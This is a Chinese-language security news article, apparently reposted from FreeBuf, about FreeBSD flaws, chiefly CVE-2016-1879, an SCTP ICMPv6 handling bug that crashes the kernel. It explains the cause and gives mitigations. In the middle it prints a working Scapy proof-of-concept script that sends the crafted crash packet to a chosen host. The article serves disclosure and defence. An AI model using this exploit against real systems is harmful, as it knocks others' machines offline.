信息來源:FreeBuf
FreeBSD團(tuán)隊(duì)宣布他們的操作系統(tǒng)存在嚴(yán)重的漏洞,黑客可以利用這個(gè)漏洞進(jìn)行DoS(拒絕服務(wù))攻擊,提權(quán)或竊取系統(tǒng)敏感信息。
SCTP ICMPv6錯(cuò)誤處理漏洞 (CVE-2016-1879)
SCTP (流控制傳輸協(xié)議)是一種傳輸層協(xié)議,它可以用來在IP環(huán)境中傳輸信號。通常,移動運(yùn)營商會在技術(shù)網(wǎng)絡(luò)中使用這個(gè)協(xié)議。
這個(gè)漏洞影響了FreeBSD系統(tǒng)的數(shù)個(gè)版本(9.3、10.1、10.2),如果它們支持SCTP和IPV6就會中招(這其實(shí)是系統(tǒng)默認(rèn)配置)。黑客利用這個(gè)漏洞,需要發(fā)送一個(gè)精心構(gòu)造的ICMPv6消息。如果漏洞利用成功,就可以對系統(tǒng)進(jìn)行DoS攻擊。
DoS攻擊是由于系統(tǒng)對來自ICMPv6的錯(cuò)誤消息,并沒有仔細(xì)檢查其中SCTP包頭部的長度。如果目標(biāo)接收者不存在,路由會生成一個(gè)錯(cuò)誤信息,通過ICMPv6反饋給發(fā)送人。
該ICMPv6包括原始的IPv6包,其中的Next Header區(qū)域會顯示SCTP是如何封裝的:
在系統(tǒng)內(nèi)核接收了通過ICMPv6發(fā)送來的錯(cuò)誤消息時(shí),它會將上層協(xié)議包傳輸?shù)奖匾慕馕銎鱯ctp6_ctlinput()里。SCTP解析器將傳入的頭部誤認(rèn)為是合法長度,然后會試圖用m_copydata()將它c(diǎn)opy,里面存有偏移值和字節(jié)數(shù)值。本來系統(tǒng)預(yù)計(jì)消息的頭部長度是12個(gè)字節(jié),但是黑客可能就給它發(fā)送了一個(gè)長為11字節(jié)的頭部,最后空指針的引用就導(dǎo)致了內(nèi)核崩潰。
漏洞利用代碼
利用這個(gè)漏洞時(shí),我們并不需要開放的SCTP套接字。神奇的Scapy會幫助我們,創(chuàng)建漏洞利用所需的ICMPv6數(shù)據(jù)包(這里編輯器代碼排版縮進(jìn)如下,有需求請自行調(diào)整):
import argparse from scapy.all import *
def get_args(): parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
parser.add_argument("-I", "--iface", type=str, help="Iface")
options = parser.parse_args()
if options.dst_mac is None or options.dst_ipv6 is None:
parser.print_help()
exit()
return options
if __name__ == '__main__':
options = get_args()
sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
src=options.dst_ipv6,
dst='fe80::230:56ff:fea6:648c'),
iface=options.iface)
下面是攻擊演示的視頻:
修復(fù)和安全建議
為了保護(hù)您的系統(tǒng)不受該漏洞的侵害,我們建議您這么做:
如果不需要IPv6,請將其禁用。
在防火墻禁用ICMPv6或者IPv6流量。
如果用不上的話,請禁用系統(tǒng)內(nèi)核對SCTP堆棧的支持(需要重新編譯內(nèi)核)。
修復(fù)漏洞,您可以使用供應(yīng)商的補(bǔ)丁,安裝對SCTP ICMPv6消息的額外校驗(yàn),這里也需要重新編譯內(nèi)核。
其他漏洞相關(guān)
此外,F(xiàn)reeBSD系統(tǒng)還爆出了其他嚴(yán)重漏洞,官方開發(fā)人員為它們發(fā)布了補(bǔ)丁。
1.存在這么一個(gè)漏洞,如果系統(tǒng)啟用了TCP_MD5SIG和TCP_NOOPT,黑客通過TCP連接可以對系統(tǒng)進(jìn)行DoS攻擊。他們只需要某個(gè)TCP_NOOPT啟用的監(jiān)聽套接字,就能利用這個(gè)漏洞(CVE-2016-1882補(bǔ)丁)。
2.Linux下Robust Futex錯(cuò)誤,會導(dǎo)致系統(tǒng)內(nèi)存數(shù)據(jù)泄露(CVE-2016-1880補(bǔ)丁)。
3.不安全的默認(rèn)配置,導(dǎo)致了黑客可以訪問守護(hù)進(jìn)程配置文件/etc/bsnmpd.conf(CVE-2015-5677補(bǔ)丁)。
為了保護(hù)您的系統(tǒng)不受漏洞侵害,強(qiáng)烈建議您在進(jìn)行安全配置之后再使用IPv6地址,并安裝好相應(yīng)的安全工具來保護(hù)系統(tǒng)安全。
*參考來源:PTsec,F(xiàn)B小編dawner編譯,轉(zhuǎn)載請注明來自FreeBuf黑客與極客(FreeBuf.COM)